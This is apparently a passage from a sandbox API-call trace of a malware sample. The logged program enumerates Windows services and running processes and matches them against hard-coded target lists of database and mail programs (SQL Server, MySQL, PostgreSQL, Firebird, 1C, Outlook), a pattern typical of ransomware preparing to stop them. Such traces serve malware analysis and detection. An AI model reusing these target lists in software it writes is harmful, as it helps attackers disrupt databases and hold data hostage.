lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.241] lstrlenW (lpString="PlugPlay") returned 8 [0055.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.241] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.241] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.242] lstrlenW (lpString="Power") returned 5 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.242] lstrlenW (lpString="ProfSvc") returned 7 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.242] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.242] lstrlenW (lpString="RpcSs") returned 5 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.242] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.242] lstrlenW (lpString="SamSs") returned 5 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.242] lstrlenW (lpString="Schedule") returned 8 [0055.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.243] lstrlenW (lpString="SENS") returned 4 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.243] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.243] lstrlenW (lpString="Spooler") returned 7 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.243] lstrlenW (lpString="swprv") returned 5 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.243] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.243] lstrlenW (lpString="SysMain") returned 7 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.243] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.243] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.243] lstrlenW (lpString="Themes") returned 6 [0055.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.244] lstrlenW (lpString="TrkWks") returned 6 [0055.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.244] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.244] lstrlenW (lpString="UxSms") returned 5 [0055.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.244] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.244] lstrlenW (lpString="VSS") returned 3 [0055.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.244] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.244] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.244] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.244] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.244] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.245] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.245] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.245] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.245] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.245] lstrlenW (lpString="Winmgmt") returned 7 [0055.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.245] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.245] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.245] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.245] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40838f0 | out: hHeap=0x4b0000) returned 1 [0055.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0055.248] Process32FirstW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.248] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.249] lstrlenW (lpString="System") returned 6 [0055.249] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.249] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.250] lstrlenW (lpString="smss.exe") returned 8 [0055.250] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.250] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.250] lstrlenW (lpString="csrss.exe") returned 9 [0055.251] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.251] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.251] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.251] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.251] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.251] lstrlenW (lpString="wininit.exe") returned 11 [0055.251] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.251] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.252] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.252] lstrlenW (lpString="csrss.exe") returned 9 [0055.252] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.253] lstrlenW (lpString="winlogon.exe") returned 12 [0055.253] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.254] lstrlenW (lpString="services.exe") returned 12 [0055.254] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.254] lstrlenW (lpString="lsass.exe") returned 9 [0055.254] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.255] lstrlenW (lpString="lsm.exe") returned 7 [0055.255] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.256] lstrlenW (lpString="svchost.exe") returned 11 [0055.256] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.256] lstrlenW (lpString="svchost.exe") returned 11 [0055.256] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.257] lstrlenW (lpString="svchost.exe") returned 11 [0055.257] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.258] lstrlenW (lpString="svchost.exe") returned 11 [0055.258] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.258] lstrlenW (lpString="svchost.exe") returned 11 [0055.258] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.259] lstrlenW (lpString="audiodg.exe") returned 11 [0055.259] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.260] lstrlenW (lpString="svchost.exe") returned 11 [0055.260] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.260] lstrlenW (lpString="svchost.exe") returned 11 [0055.261] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.261] lstrlenW (lpString="dwm.exe") returned 7 [0055.261] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.262] lstrlenW (lpString="explorer.exe") returned 12 [0055.262] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.262] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.262] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.263] lstrlenW (lpString="taskhost.exe") returned 12 [0055.263] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.264] lstrlenW (lpString="svchost.exe") returned 11 [0055.264] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.264] lstrlenW (lpString="taskeng.exe") returned 11 [0055.264] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.265] lstrlenW (lpString="taskhost.exe") returned 12 [0055.265] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0055.282] lstrlenW (lpString="chem venues.exe") returned 15 [0055.282] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0055.283] lstrlenW (lpString="month.exe") returned 9 [0055.283] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0055.283] lstrlenW (lpString="glasgow.exe") returned 11 [0055.283] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0055.284] lstrlenW (lpString="rubber.exe") returned 10 [0055.284] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0055.284] lstrlenW (lpString="petroleum.exe") returned 13 [0055.285] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0055.285] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0055.285] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0055.286] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0055.286] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0055.286] lstrlenW (lpString="batman_oliver.exe") returned 17 [0055.287] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0055.287] lstrlenW (lpString="formation.exe") returned 13 [0055.287] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0055.288] lstrlenW (lpString="whole.exe") returned 9 [0055.288] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0055.289] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0055.289] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0055.289] lstrlenW (lpString="disorder.exe") returned 12 [0055.289] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0055.290] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0055.290] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0055.290] lstrlenW 